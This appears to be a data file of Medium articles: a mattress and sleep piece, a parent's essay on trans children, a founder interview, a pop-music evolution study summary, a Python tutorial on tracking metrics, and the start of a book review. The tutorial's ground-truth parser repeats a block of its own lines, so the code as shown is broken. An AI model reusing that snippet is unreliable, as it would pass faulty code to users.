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How Mattress Affect Sleep Quality and Health? | Can’t sleep? Dream to have restful sleep? Want to know some tips for restful sleep? Keep reading and you will know everything which is important for your insomnia.
Photo by Alexandra Gorn on Unsplash
Nowadays, issues related to restful sleep are the most relevant and discussed ones. The reasons for it are also very actual.
Some Reasons for Not Having Restful Sleep
· Depression
· Stress
· Overloaded schedule
· Diseases
· Wrong selection of bed
· Wrong selection of mattresses
The last one surprised you? Don’t worry, you are not alone. it surprises almost everyone because only a few know:
· The importance of mattresses,
· Which mattresses are the best,
· How mattresses can affect sleep and health
But it’s never too late, you can replace your wrong mattresses with the right ones and reclaim your sleep and health.
5 Surprising Ways Mattresses Affect Our Sleep and Health
Photo by bruce mars on Unsplash
At first, we should know how mattresses affect sleep quality and as a result, health.
After an exhausting day, what we need and deserve is good and restful sleep. No one can deny the refreshing effect of deep sleep. Research proves that good sleep can optimize the regenerating power of our bodies. And the opposite, poor sleep can not only decline our productivity but also weakens our body. That is why comfortable and right mattresses are crucial for our wellbeing.
Here are some ways which I have highlighted for you:
Restful Sleep Removes Stress and Anxiety
The right mattresses improve our sleep quality and help us to have positive energy. But if we experience long term stress, it may lead to depression or other physical problems. Thus, a comfortable mattress provides restful sleep, decreases stress, and promotes peace of mind.
The Right Mattress Relieves Aches and Pains
When we sleep on the wrong bed, after some time we will start to feel sore because it develops lower back, hip, and neck pain. But when we choose the right mattress, it supports our body and ensures a healthy sleep posture. Over the passage of time, good mattresses can relieve chronic aches and pain as well.
Worn-Out Mattress Increases Allergy Risk
An old mattress in bed contributes to allergies. Getting a new, germ-resistant mattress is the best way to avoid allergies. We should clean it often, and use mattress protectors to block the dust.
Creaking Beds Are Culprit for Chronic Back Pain
Creaking noise comes from worn-out and an old mattress. These old mattresses often lead to dull aches and pains. Terrible aches and pains may develop and persist if we keep using those old mattresses. People with chronic back pain usually have disturbed sleep and fatigue. This type of mattress affects sleep quality, and we wake up tired devoid of any energy. We can improve chronic back pain symptoms only by buying a new supportive mattress.
The Right Mattress Improves Life Quality
The right mattress improves not only our sleep but also our life. Good sleep improves memory, performance, and productivity, and thus elevate our life quality. A quality mattress is vital for good sleep, but it does much more than that! It decreases our stress levels, benefits our mind and body, and improves our life quality.
Isn’t that causes enough to start paying more attention to mattresses? If you already decide to choose mattresses, the next step is to pay attention to
· Types of mattresses
· Advantages and disadvantages of mattresses
· How to choose mattress one for us
Choosing which mattress is for you is an important decision. We spend a third of our life on it, and the unsatisfactory sleep affects the rest of our life. The variety of mattress options on the market is huge, making the choice more difficult than ever. And one of the biggest decisions about buying a mattress is choosing whether to be soft or hard.
What is the difference between soft and hard mattress?
Photo from Duson.am
The obvious difference between hard and soft mattress is the feeling. The firm mattress is more stable to touch and sinks less. The softer mattress compresses. All kinds of mattresses consist of any materials. The hardness or softness of the mattress either depends on the tension of its structure.
Both types of mattresses exist in different price classes. Yet, to get exactly what we want, it might be worth spending a little more.
How to choose the right mattress for you?
1. The two main factors we should consider are whether we suffer from back pain or not and what type of sleeper we are. Those who do not have back pain and sleep on their back will enjoy a harder mattress. People who sleep aside or have problems with their backs will choose a soft mattress. Although it comes down to personal preferences.
2. Another important element that should not be overlooked is a personal preference. Regardless of what is more specialized for the spine, if not comfortable, you will not sleep well. And that’s the main purpose of the mattress, after all.
3. It is important to remember that the choice is not exactly black or white. Mattresses have a wide range of hardness. Besides, one can always add a top mattress and change the feeling.
In general, it is important to try out different mattresses to make a well-informed choice. So it’s high time that we invest in our health and sleep by buying a good mattress now! | https://medium.com/@astghiiik/how-mattress-affect-sleep-quality-and-health-f9f8983f6a94 | ['Astghik Vardanyan'] | 2020-12-26 20:27:14.242000+00:00 | ['Insomnia', 'Sleep', 'Health', 'Life', 'Matresses'] |
Please Stop Saying You’re “Worried” About Trans Kids | Please Stop Saying You’re “Worried” About Trans Kids
Let’s talk about what you’re *really* worried about instead
Photo by Sharon McCutcheon on Unsplash
I hear you, fellow parents and countless other adults. You pose this question to me a lot, and for the record, I want it known that I fully agree with you, on at least this one point. So let me say it loud and clear: wearing dresses or playing with dolls should be okay whether you have girl or boy parts. Period. The end.
Unfortunately, our society isn’t quite there yet.
My three kids all defied traditional gender roles and stereotypes to some degree. My oldest, a cishet male (now age 20) played with dolls as a child, and sometimes proudly wore a tutu while doing so. My next oldest, a cishet female (now 19) played with her big brother’s toy guns, and for a long while, she hated wearing anything girly. Even at the age of 2 she’d rip out the hair bows I’d so lovingly placed on her little head, lobbing them to the floor with no mercy.
My third child, my youngest — assigned male at birth (now almost 15) — was something different altogether.
Liking (or not liking) particular gendered toys/clothes/items is not the problem. The problem is with our society, which fails to appreciate the beauty of the gender spectrum, or to recognize the gift of gender diversity, including all those who fall under the trans umbrella. Contrary to popular belief, these people are not a new trend either. Gender diverse people have, in fact, been around for all recorded history, and on every single continent, celebrated. Revered, even. Across all kinds of cultures and religions.
The point is, you’re right about this: toys and clothing preferences don’t make someone transgender.
I’d add one other thing: there isn’t something “wrong” with a little boy who only likes “girly” things, for example. But, in this same child, having an intense despair over all “boys stuff” and gendered things stereotypically associated with one’s presumed gender can be one of many symptoms that manifest in transgender kids that, along with a host of other symptoms, form a constellation known as gender dysphoria.
Granted, not all trans people say they experience gender dysphoria. Others may not realize that what they’re experiencing is gender dysphoria, instead, referring to a vague feeling of being “wrong” somehow, even if they can’t articulate what that means. Others may only experience gender dysphoria in short bouts, or may live many successful decades with it suppressed or gone altogether.
The whole topic of gender dysphoria can be somewhat of a slippery slope since it’s not the one definitive thing that makes a person trans. But it is, generally, a required medical diagnosis for those who intend to seek gender confirmation/transition through any number of medical options and/or hormonal suppressors and supplements.
As a spectator, not someone who lives it myself, allow me a moment to at least offer this: for those who do experience it, gender dysphoria is a beast.
And parents who’ve dealt with children experiencing this firsthand absolutely know the difference: gender dysphoria isn’t “a phase.” Even if it disappears for a while or seems to go away completely. Even if it ebbs and flows over time. Even if it doesn’t manifest until adolescence, or later.
We aren’t talking about a preschooler’s affinity to “be” a kitty cat— a role the child takes on in a developmentally appropriate game where the child knows they’re playing a game or pretending. With trans kids, we’re talking about a child who is not pretending, not playing a role. We’re talking about a child who’s just trying to be themself in an unaccepting, unforgiving world.
In light of this, I want to address the comments I’ve received online over the years, from total strangers, telling me how “worried” they are about my trans kid. Worried about all sorts of things…
Worried that I’m not the one who’s being “the parent” in this situation; that I’m allowing my kid to call all the shots.
Worried that my child is “too young” to understand the complexities of gender (though I’d beg anyone to consider how old they were when they first knew their own gender).
Worried that mine and my husband’s allowance of our child to socially transition in 5th grade was the biggest disservice of all, telling us, “you’d better sign that kid up for karate lessons! You’re making your child into bully bait!” (As if our child weren’t already bully bait, being an inherently feminine boy in the south, living in a culture of toxic masculinity and thinly veiled misogyny).
Over the years I’ve also questioned the validity of these claims. Like, exactly how “worried” some of these strangers actually are, primarily because so many of them who aren’t raising trans kids also express incorrect and misguided sentiments that go exactly like this:
“The main thing I worry about is how all these kids are demanding surgeries and destroying a perfectly fine functioning body, and demanding these life altering drugs like puberty blockers and hormones that will do irreversible harm… this generation is going to grow up terribly confused!”
First, this comment uses the phrase “do irreversible harm.” Let’s just unpack that real quick. From experience raising a trans kid, I (and just about every trans person who’s walked the face of this earth) happen to know just the opposite — that these so-called “life-altering drugs” don’t destroy — they actually save lives. Whether a trans person uses them personally, or only knows other trans people who do, all trans people know exactly how life-saving something like puberty blockers and hormones are.
Second, with comments like these, I have to wonder: does it really worry you, dear reader? Is worry even the right word here? Because that’s what I really want to unpack.
I mean, people all over America alter, as you might say, “a perfectly fine functioning body” all the time. They do this through various cosmetic procedures and plastic surgeries, for example. Like, breast augmentation (male or female), rhinoplasty, lip implants, Botox injections, liposuction, face lifts, hair transplants, tummy tucks, butt lifts, dermal fillers, fat transfers, brow lifts, neck lifts, etc. Are you equally worried about them, dear internet stranger?
Likewise, people all over America take hormones, hormone replacement therapy, testosterone therapy, etc., for any number of reasons. Are you equally worried about them, dear internet stranger?
Sometimes, teens as young as 16 have easy access and available funding for cosmetic procedures. Sometimes, 13-year-olds need hormones for reasons you may not be familiar with. And puberty blockers, which merely place a “pause” on puberty, thus giving the gift of time — with puberty resuming within a year, as normal, when blockers are stopped (unless the individual moves to cross sex hormones) — are life-saving for many trans individuals entering the Tanner stage II of puberty. Again, life-saving. Literally, life-saving.
Since our trans nonbinary child went on blockers for several years, my husband and I were particularly scrutinized by strangers and non-strangers for this very thing. As if people thought we hadn’t done years and years of our own research, plus struggled through our own adult fears and worries, plus haggled with insurance, plus attended medical and psychological consultations and therapy appointments and gender clinics, and on, and on, before ultimately allowing our child to go forward with this. Don’t folks realize that parents of trans kids do our homework? That we are literally trying to save our kids’ lives?
It’s worth noting that puberty blockers have also been used safely since the 1950s for precocious puberty. In longitudinal studies, both past and ongoing, the primary negative effect from gonadotropin-releasing hormone analogs (puberty blockers) is the *possibility* of less bone density later in life.
It’s also worth noting that this is something that’s closely monitored in the lab work of trans youth, and these possible affects can be largely avoided under the close care of an endocrinologist (the specialized doctor who prescribes puberty blockers for trans youth). Where vitamin deficiency or loss of bone density may be suspected, measures are immediately taken to address and correct that — speaking here from personal experience on the matter of puberty blockers.
At any rate, as most trans people will tell you, they’d gladly accept the risk of something like potential bone density loss if it meant they could be spared the beast that would otherwise plague them for the rest of their lives: gender dysphoria.
So, I guess my question comes down to this, dear worried internet strangers:
Is it that you’re genuinely worried about altering (what you perceive as) “a perfectly fine functioning body,” or, is it only a concern to you when that body happens to belong to a trans person? | https://medium.com/gender-from-the-trenches/please-stop-saying-youre-worried-about-trans-kids-a63e271a1259 | ['Martie Sirois'] | 2020-10-22 21:09:40.997000+00:00 | ['LGBTQ', 'Parenting', 'Culture', 'Equality', 'Transgender'] |
Featured Founder: Nathan Hagen of Admiral | Welcome to our Featured Founder series, where you’ll meet startup founders from Tampa-St. Petersburg who are building and scaling their ventures to solve some of the world’s greatest challenges. We interviewed Nathan Hagen, Co-Founder of Admiral, a revenue platform helping digital publishers grow by improving visitor relationships through adblock recovery, paid subscriptions, privacy consent, and more.
What were you doing previously and what inspired you to launch your company?
I think my answer to this question is very typical for many entrepreneurs, but I think the story behind how our team got together is really unique. The short answer is that I worked in advertising for a digital publisher, and when that opportunity ended, I saw an opportunity to take my experiences and share them in a way that wouldn’t have been possible if I were doing anything other than starting a business. I think this is a common experience. Working at larger companies is rewarding, but often times its extremely difficult to substantively tackle new challenges that are on the horizon. And while joining an existing startup is a great opportunity to learn quickly and influence the direction of a product and team, there is already a problem, and hopefully a solution, that you’ll be running at starting on day 1.
If you really want to test out an idea that has been stuck in your head like glue, and if you really want to make an impact, there isn’t a better way to do that than to take some time off and really run at and invest in it by starting a business. That’s where I was at and that’s what I wanted to do. What I think is unique about my story, though, is that Admiral wasn’t started by just me. Or me and a co-founder. Or even me and 2 co-founders. On day 1 of Admiral, we had 5 people in a room working towards addressing the problems we felt we were uniquely positioned to solve based on our experiences working on them, together, already. And this is a really important part of our story.
The entire founding team at Admiral, and actually almost all of our full-time employees for the first few years, were people we had worked with every day for years at Grooveshark, the company we all came from before starting Admiral. Grooveshark had a killer team, a very widely used consumer product, a strong brand, and a successful ad business. When it shut down in early 2015, leadership did a good job of helping people land on their feet while loose ends were tied up, but after hours, there were a few groups of us who would meet and talk about ways that we could keep working together in our next chapter. What interesting problems did we solve together that we knew other publishers were having? Within a month of our last paycheck at Grooveshark, Admiral had a name and a proven team ready to execute on a mission to bridge the gap between adblockers and publishers. We just had to build it and find customers. And that’s kinda how it all started.
What pain point is your company solving? What gets you excited to go to work every day
We think most publishers are content creators first and technology companies second, and we provide a technology platform that helps them build their revenue streams through messaging or engagement. Our beachhead is adblock recovery, so that’s where we usually start with our customers: we say, you’re probably losing 20% of your revenue to people who have chosen not to see ads, and we’ll help you engage with them about the value exchange that is necessary to support the content they’re consuming. So we help them start a conversation that might be around whitelisting, or around paid ad-free passes, or something similar. Their total revenues will go up 10–15% or more. We usually have so much success with this that our customers ask if we can do the same thing with the rest of their audiences.
Personally, I want to make journalism sustainable. That’s what inspires me the most about what we’re doing. Netflix, Hulu, and Amazon have proven a model for this, called “subscriptions”, but that’s traditionally been a hard game for digital news media. Even for national brands like NYT, it hasn’t been easy. And so, traditionally, businesses that depend on journalism are supported by advertising, and there are problems with this. Technical problems, ethical problems, money problems, privacy problems. All kind of problems. No reputable newspaper business would tell you they love that banner advertising is the backbone of their business because there are these problems. The incentives aren’t great. Users can block ads, or have a diminished experience on the site and often don’t see the content as valuable as it really is. Advertisers don’t get explicit editorial control, but they do have too much power with regards to how users experience content on the page. And if a writer is getting paid, in part, according to how many clicks their article headlines get, what kind of headlines can we expect them to write? That’s some of why I’m excited about doing my part to help digital publishers go beyond just advertising.
Reliable subscriptions I think are a key part of improving journalism in the next decade, and providing subscriptions in a way that works for publishers is not something most publishers are equipped to do well, if at all. That being said, there is no one-size-fits-all solution to the problem. Advertising allows people to access content without respect to whether they can afford it. I think in a democratic society, advertising ought to exist where it can. But good, reliable, trustworthy, and impactful journalism costs money to create, and I think consumers will need to be educated about that in order for content creators to build more sustainable businesses. So we do much more than just subscriptions. We make it dead simple for them to start a conversation with their users about the value of their content, and if they can’t pay for it with cash, and if they really don’t want to see ads, we make it possible for them to do what they can by signing up for mailing lists, following on social, submitting new content, or through another engagement touchpoint. The important thing for us is giving publishers and users as many choices as possible so that they can build the best and most sustainable and lasting relationships with each other.
Name the biggest challenge you faced in the process of launching the company. How did you overcome it?
While starting Admiral has been one of the most rewarding and exciting things I’ve done in my life, it has come with a lot of challenges. Realistically, the biggest challenge was the financial crunch in the first year before we raised money and were able to pay a salary. I had started Admiral after working at another startup before it — and I wasn’t working there because of the money. I had some savings, but I wasn’t planning to not take a paycheck when the opportunity to start Admiral arose. I was a young founder — I think, 23 or 24. I put most of the money into the company that I had saved up, and spent about 6 months driving for Uber after work to pay rent. I’d be in our tiny office until 9pm and then out driving drunk kids around Gainesville until 3–4 am a few days a week. I enjoyed it, but it wasn’t sustainable and honestly dangerous in a couple of ways. I gave up an apartment that I really loved and found a dirt cheap month-to-month situation with a friend. Everything in my life was month-to-month, for a long time. I don’t recall ever taking a vacation, and I didn’t see my family down here in Tampa much that year.
At the time, I didn’t have a spouse to lean on financially. I didn’t keep another day-job, and I had bills to pay. I got really good at finding events with free food. I didn’t have any breathing room until we had a few opportunities to build MVPs for a couple of other startups in our network. We wouldn’t have been able to make it to our seed round without doing those projects. We used that money for some early salaries, which is what ultimately got us over the hump to the point that we all knew we could stick it out until we were able to raise money. I really believed in what we were doing, and the team we had and gave everything I could.
We eventually went on to raise $2.5M in our Seed round. But it’s hard to build your own thing when you’re also building someone else’s thing, and it’s hard to imagine being able to make the choices and sacrifices I made then again as I get older. I also think a lot of those challenges are normal and an important part of an entrepreneurial story. And it was a good time, really. I had the privilege of a family I knew I could fall back on if things became dire, and the flexibility of being an ambitious 20-something software engineer in a good economy. No kids or mortgage. Good health. My rent was never more than $450/mo. I was supremely privileged. There have been a ton of other challenges we’ve faced. Having a remote team. Raising money. Not getting enough traction when we really needed it. Shifting from being product-focused to customer-focused. Unexpectedly and impossibly long sales cycle for important customers. Hiring high-need employees is a challenge. Company culture and morale. Marketing to cost-centers. But I want to highlight the financial barrier to entry because I think it’s really important for our community specifically to talk and think about how difficult it is, logistically, to start a company. If you don’t live downtown, how are you connecting with the community here? If you can’t afford a reliable car in Tampa, how can you talk about starting a business? If you have a family to support, how can you take the risk of entrepreneurship responsibly? What if you don’t have a family to support financially, but you also don’t have a family to financially fall back on? If you don’t run in wealthy circles already, how do you connect with investors or other founders? How do you pay for health insurance? Tough questions that we need to help our community find answers for as we build an inclusive, diverse, and successful entrepreneurial space here in Tampa.
Where do you see your company headed next?
Admiral’s future lies in the relationships between our publishers and their audiences. We truly think that the future of digital publishing will require publishers to take a more individualized and flexible approach to exchange value with users who come to their site. Not just with content recommendations or conversion optimizations, but really building an understanding that the user is coming to a site, or a network of sites, because the content they’re getting is valuable and worth coming back for and supporting. It’s also about ensuring that users can still get access to all the content they could need without being inconvenienced.
To this end, this year we’re rolling out and expanding our multi-site subscription business, which allows publishers to let users subscribe to multiple properties that they own, or share subscribers with other related publishers. We’re also investing in improving our targeting so that its easier for publishers to engage with different types of users in ways that make the most sense and get the most out of each type of user. On top of all that, we just want to continue to offer the widest range of value exchange mediums and features that exist in our market. So far we’ve done great, but our customers expect the best, and we aim to deliver.
Give us a tactical piece of advice that you’d share with another founder just starting out.
Love your team. Be an evangelist for them. An idea is useless without an effective team to execute on it. First, find (a) co-founder(s) that you trust and would commit the next 5+ years of your professional life to. Next, get to know people who have skills you know you’ll need, and who you know will be great for your team, and who will stick with you through the ups and downs of building a company. These things are not easy to find but they’re essential and you can’t take them for granted. A good team is a rare thing. Make sure they know that and use that to set a high bar for responsibility and excellence. If your team feels like they can do anything, they might just be able to.
Learn more about Admiral on Facebook and Twitter
See the original post on Embarc Collective’s blog. | https://medium.com/@embarccollective/featured-founder-nathan-hagen-of-admiral-60bf875123ef | ['Embarc Collective'] | 2019-08-06 16:24:41.207000+00:00 | ['Adblock', 'Founders', 'Founder Stories', 'Startup', 'Founder Advice'] |
Genetic Data Tools Reveal How Pop Music Evolved In The US | The history of pop music is rich in details, anecdotes, folk lore. And controversy. There is no shortage of debate over questions about the origin and influence of particular bands and musical styles.
But despite the keen interest in the evolution of pop music, there is little to back up most claims in the form of hard analytical evidence.
Today that changes thanks to the work of Matthias Mauch at Queen Mary University of London and a few pals who have used the number crunching techniques developed to understand genomic data to study the evolution of American pop music. These guys say they have found an objective way to categorise musical styles and to measure the way these styles change in popularity over time.
The team started with the complete list of US chart topping songs in the form of the US Billboard Hot 100 from 1960 to 2010. To analyse the music itself, they used 30-second segments of more than 80 per cent of these singles — a total of more than 17,000 songs.
They then analysed each segment for harmonic features such as chord changes and for the quality of timbre, whether guitar or piano or orchestra based, for example. In total, they rated each song in one of 8 different harmonic categories and one of 8 different timbre categories.
Mauch and co assumed that the specific combination of harmonic and timbre qualities determines the genre of music, whether rock, rap, country and so on. However, the standard definitions of music genres also capture non-musical features such as the age and ethnicity of the performers, as in classic rock or Korean pop and so on.
So the team used an algorithmic technique for finding clusters within networks of data to find objective categories of musical genre that depend only on the musical qualities. This technique threw up 13 separate styles of music.
An interesting question is what these styles represent. To find out, the team analysed the tags associated with each song on the Last-FM music discovery service. Using a technique from bioinformatics called enrichment analysis, they searched for tags that were more commonly associated with songs in each music style and then assumed that these gave a sense of the musical genres involved.
For example, they found that style 1 was associated with soul tags, style 2 with hip hop, style 3 with country music and easy listening, style 4 with jazz and blues and so on.
Finally, they plotted the popularity of each style over time.
The results make for fascinating reading. They found that the frequency of style 4 (jazz, blues etc) declined from 1960 onwards. Styles 5 and 13, which relate to rock music, fluctuate throughout this time. And style 2 (rap) is rare before 1980 but expands rapidly after that and becomes the dominant genre for the next 30 years before declining in the late 2000s.
The data allows them to settle some long standing debates among connoisseurs of popular music. One question is whether various practices in the music industry have led to a decline in the cultural variety of new music.
To study this issue, Mauch and co developed several measures of diversity and tracked how they changed over time. “We found that although all four evolve, two — diversity and disparity — show the most striking changes, both declining to a minimum around 1984, but then rebounding and increasing to a maximum in the early 2000s,” they say. Beyond that, their conclusion was clear. “We find no evidence for the progressive homogenisation of music in the charts,” they say.
Instead, they say that the evolution of music between 1960 and 2010 was largely constant but punctuated by periods of rapid change. “We identified three revolutions: a major one around 1991 and two smaller ones around 1964 and 1983,” they say.
The characters of these revolutions were all different with the 1964 revolution being the most complex. This consisted of an increase in popularity of styles 1, 5, 8, 12 and 13 which were enriched at the time for soul and rock-related tags. At the same time, styles 3 and 6 declined, enriched for tags such as doowop.
The 1983 revolution is associated with an increase in popularity of songs with tags such as new wave, disco and hard rock and a decline in soft rock and country tags.
The 1991 revolution is associated with the rise of rap-related tags.
Another question hotly debated by music commentators is how British bands such as the Beatles and The Rolling Stones influenced the American music scene in the early 1960s. Mauch and co are emphatic in their conclusion. “The British did not start the American revolution of 1964,” they say.
The team say the data clearly shows the revolution underway before The Beatles arrived in the States in 1964. However, British bands certainly rode the wave and played an important part in the way the revolution occurred.
That’s fascinating work. Because musicians copy, repeat and modify song styles they like, this leads to a clear pattern of evolution over time. So it should come as no surprise that techniques developed for the analysis of genetic data should work on music data as well. “The selective forces acting upon new songs are at least partly captured by their rise and fall through the ranks of the charts,” they say.
And there is much work to be done. Mauch and co point out that these number crunching techniques are quit general and so could be widely applied to cultural phenomenon, provided the data is available.
For the moment, they have their sights set on further music analysis. Their next task is to gather data going further back in time. “We are interested in extending the temporal range of our sample to at least the 1940s — if only to see whether 1955 was, as many have claimed, the birth date of Rock’n’Roll,” they say.
Worth waiting to find out!
Ref: arxiv.org/abs/1502.05417 : The Evolution of Popular Music: USA 1960–2010 | https://medium.com/the-physics-arxiv-blog/genetic-data-tools-reveal-how-pop-music-evolved-in-the-us-48ad60bf495b | ['The Physics Arxiv Blog'] | 2015-02-27 18:04:43.422000+00:00 | ['Culture', 'Music', 'Data Visualization'] |
Multi-Object Tracking Metrics | The Evaluation process is one of the most important steps in build a Machine Learning Model. Especially when it comes to real-time detection plus tracking system. Computer Vision applications in tracking are becoming increasingly popular in surveillance, Sports Analytics, Autonomous vehicles, etc. So, evaluating your model would be the most difficult task before your deploy it. Today, let’s go through a set of metrics that evaluates your tracking system and gives you a better understanding of your model.
Photo by Mika Baumeister on Unsplash
Introduction
The Multi-Object tracking system in a real-world environment has always been challenging and there are not a lot of metrics out there to evaluate your tracking system. This post describes the implementation of one such metric called the CLEAR MOT Metrics. The main goal for any tracking evaluation system would be to judge the tracker’s precision and check the trajectory of the object in motion, while there are no multiple routes for a single object.
CLEAR MOT Metrics
Let’s say for every frame in the video feed, the tracker system outputs ’n’ hypothesis and the frame has ‘m’ ground truth objects the the evaluation process of CLEAR MOT metrics is as follows:
To find and pair the best match between the hypothesis and ground truth based on their coordinates and with the help of different matching algorithms. For each matched pair, find the error in the object's position. Calculate the sum of multiple errors such as:
a) Misses, where the tracker failed to produce any hypothesis for the given object.
b)False Positives, where the tracker produced a hypothesis but no object was present.
c) Mismatch errors, where the tracker’s hypothesis of a ground truth changed the present frame.
Figure: Bernardin, Keni, and Rainer Stiefelhagen. “Evaluating multiple object tracking performance: the clear mot metrics.” EURASIP Journal on Image and Video Processing 2008 (2008): 1–10.
Based on the above procedure, the performance can be expressed in two Metrics:
MOTP (Multi-Object Tracking Precision) expresses how well exact positions of the object are estimated. It is the total error in estimated position for matched ground truth-hypothesis pairs over all frames, averaged by the total number of matches made. This metric is not responsible for recognizing object configurations and evaluating object trajectories. MOTA (Multi-Object Tracking Accuracy) shows how many errors the tracker system has made in terms of Misses, False Positives, Mismatch errors, etc. Therefore, it can be derived from three error ratios: the ratio of Misses, the ratio of False positives, and the ratio of Mismatches over all the frames.
Implementation Using Python
If you want a detailed mathematical explanation for the metrics, I suggest you go through their official paper linked below. Now, let’s dive into the implementation of the metrics using python.
The py-motmetrics python library not only gives you MOTA and MOTP but also a wide variety of values through which you can analyze your tracking system.
Install the library using the pip command,
pip install motmetrics
Import the necessary packages and give in the hypothesis and ground truths coordinates and object IDs and get the distance matrix using the IOU method.
import motmetrics as mm
import numpy as np
acc = mm.MOTAccumulator(auto_id=True)
a = np.array([
[121,458,187,551], #coordinates of three hypothesis in the frame
[ 316 ,414 ,373,492] # Format--> X, Y, Width, Height
])
b = np.array([
[600 , 612, 700, 712], #coordinates of three groundtruth objects
[134, 445, 173, 523],
[321 , 436, 366, 481]
])
distance_matrix = mm.distances.iou_matrix(a, b, max_iou=0.7)
print(distance_matrix) OUTPUT --> [[ nan 0.16199685 nan]
[ nan nan 0.08276546]]
Now let’s update the accumulator with object IDs and get the evaluation report.
acc.update(
[1, 2], # Ground truth object ID in this frame
[0,3,4], # Detector hypothesis ID in this frame
[distance_matrix]) mh = mm.metrics.create() report = mh.compute(acc, metrics=['num_frames', 'num_objects','num_matches' ,'mota','motp', 'num_misses','num_false_positives','num_switches','mostly_tracked','partially_tracked','mostly_lost'], name='acc') print(report)
Check the documentation for more parameters to be included in your evaluation report. You can automate your code for multiple frames for your video.
Head on to the MOT Challenge Website to download sample videos with a frame-by-frame annotated dataset for different video scenarios to test your tracking system. Example parsing of ground truth data from MOT17 and MOT20:
def gtparser(current_frame,end_frame,file,split): '''
current_frame and end_frame gives you a range of frames you wanna work with.
file -> location of the gt.txt file.
split-> how are the values in gt seperated(mostly it is a ',' or a space ' ').
'''
dict1 = {}
while current_frame<=end_frame:
f_bb,idarr = [], []
f = open(file,'r')
for line in f.readlines():
bb = []
if int(line.split(split)[0])==current_frame and int(line.split(split)[7])==1:
x_scale = 960/1920
y_scale = 540/1080
(origLeft, origTop, origWidth, oriHeight) = (int(float(line.split(split)[2])),int(float(line.split(split)[3])),int(float(line.split(split)[4])),int(float(line.split(split)[5]))) dict1 = {}
while current_frame<=end_frame:
f_bb,idarr = [], []
f = open(file,'r')
for line in f.readlines():
bb = []
if int(line.split(split)[0])==current_frame and int(line.split(split)[7])==1:
x_scale = 960/1920
y_scale = 540/1080
(origLeft, origTop, origWidth, oriHeight) = (int(float(line.split(split)[2])),int(float(line.split(split)[3])),int(float(line.split(split)[4])),int(float(line.split(split)[5]))) x = int(np.round(origLeft * x_scale))
y = int(np.round(origTop * y_scale)) w = int(np.round(origWidth * x_scale))
h = int(np.round(oriHeight * y_scale))
bb.append(x)
bb.append(y)
bb.append(w)
bb.append(h)
idarr.append(int(line.split(split)[1]))
f_bb.append(bb)
f_bb = np.array(f_bb)
dict1[current_frame] = (idarr,f_bb)
current_frame+=1
f.close()
#print(len(dict),current_frame) return dict1
Interpretation of Results from py-motmetrics
MOTP ranges from 0–1 (multiply with 100 if you needed in percentage) If the MOTP value is 1, then the precision of the system is poor. And if it is close to zero then the precision of the system is good. MOTA ranges from –inf to 1. (multiply with 100 if you need the MOTA in percentage). If the MOTA is 1 then the Accuracy of the system is Good. If the MOTA is around zero or less than zero then the accuracy of the system is poor. num_objects, total numbers of unique object appearances over all frames. num_matches, total number matches between hypothesis and ground truth object IDs. misses, the total number of misses (False negatives). false_positives (FP), the total number of false positives (false alarms). switches, the total number of track switches. mostly_tracked, number of objects tracked for at least 80 percent of lifespan partially_tracked, number of objects tracked between 20 and 80 percent of lifespan. mostly_lost, the number of objects tracked less than 20 percent of lifespan.
Sources | https://pub.towardsai.net/multi-object-tracking-metrics-1e602f364c0c | ['Amrith Coumaran'] | 2021-06-17 16:02:56.783000+00:00 | ['Precision', 'Accuracy', 'Metrics', 'Tracking', 'Mot'] |
“yes the body:” A Quarantined Review of Spawn | Spawn, by Marie-Andrée Gill. Translated by Kristen Renee Miller. Book*hug, 2020.
When Marie-Andrée Gill’s Spawn arrived at my house, courtesy Book*hug Press, I was still able to move around the world at will. I read that Kristen Renee Miller, Gill’s translator, lived in Louisville, Kentucky. I had plans to be in Louisville in the fall for my day job. I thought to myself, “Maybe I will email her to see if she would like to meet for an interview while I’m there.”
I wanted to talk with her in person about what she wrote in her translator’s note: “As Spawn’s translator, tasked with rendering the text from one settler language (French) into another (English), my work was delicate and intense.” But by the time I began writing the review, all travel plans were suddenly on hold.
“Delicate and intense” also described my experience reading Miller’s translation of Gill’s spare and precise poetry during a pandemic that caused various levels of quarantine across the world.
*****
“Ouananiche remain in the lake, while Atlantic salmon migrate to the sea for part of their life cycle. With the exception of this difference, ouananiche and Atlantic salmon are the same species.” — Marie-Andrée Gill, from Spawn, translated by Kristen Renee Miller
*****
Normally, I would be writing this review from the coffee shop I call “my Saturday office.” I would be drinking orange blossom tea and eating a huge brown sugar cookie. I would be sitting in the back room, where the writers go. I would contribute my rhythm to the percussion of the room. Ensemble for Laptops, №32. Of course, coffee shops are not open now. My Saturday office offers curbside service, and I take advantage of it sometimes, but it’s the uncomfortable bar stool and disheveled writers I want, not the tea.
“Excuse me,” we used say to each other. “I just need to reach past you to plug in my laptop.”
“Sure,” we used say. “No problem.”
We would make room.
********
Gill is Pekuakamishkueu, and Spawn takes place on the Mashteuiatsh Reserve in what is now Quebec, Canada. Quebec’s settlement caused her ancestors to stay there, on a smaller and smaller piece of land. They are still there today.
I’m Muscogee (Creek). In the 1830s, my ancestors were “removed” from our ancestral homelands in what is currently Alabama and Georgia to Indian Territory, now called Oklahoma. The Dawes Act of 1887 magnanimously “gave” allotments to my great-grandparents’ generation. Often, family members’ allotments were far from each other. The U.S. government was trying to make us start thinking of ourselves as individuals.
In 2003, soon after the Global War on Terror started, I married a soldier, and we lived all over the place. Last year he retired, and we moved back to Oklahoma. It’s what Muscogee people mostly do, eventually, even when we don’t really want to be here.
Being quarantined in Oklahoma does poke a generational bruise for me. I can’t leave, and our family can’t be together, and our tribe can’t gather for ceremonies or anything else. I like the solitude, which is something a Muscogee woman seldom has, and I understand why we must quarantine ourselves. But being told to stay here and not gather … that’s the bruise.
The bruise of generational exile is a personal reason Spawn reads so powerfully, and the double exile of quarantine adds another layer of meaning:
“We the unlikely the aftermath the remains of heart muscle and black earth We the territory in a word”
The book takes the life cycle of the ouananiche salmon in Lake Piekuakami as an overarching metaphor, reflecting on confines — those we choose, those chosen for us, and those we don’t realize we have a choice about. Gill contemplates, in small poems surrounded by lots of white space, the struggle of “spawning” and all it represents (instinct, fulfillment, continuance, more), for a young person just stepping over the threshold into independence.
Reading Spawn from this present confinement, I am struck by the section titled “Adolescence,” in which young people do the things young people sometimes do: Kiss. Share a bong. Touch. Deeply desire each other’s presence. Wander around in groups. All of these things that are much too dangerous for anyone to do right now. Young bodies, less susceptible to severe cases of the pandemic virus, are portrayed as dangerously unidentifiable asymptomatic carriers, a peril to their elders. In the early days of the pandemic, just before the quarantines, the media fixated on young people partying on beaches. Graphs were created to show the deadly effects of their good time.
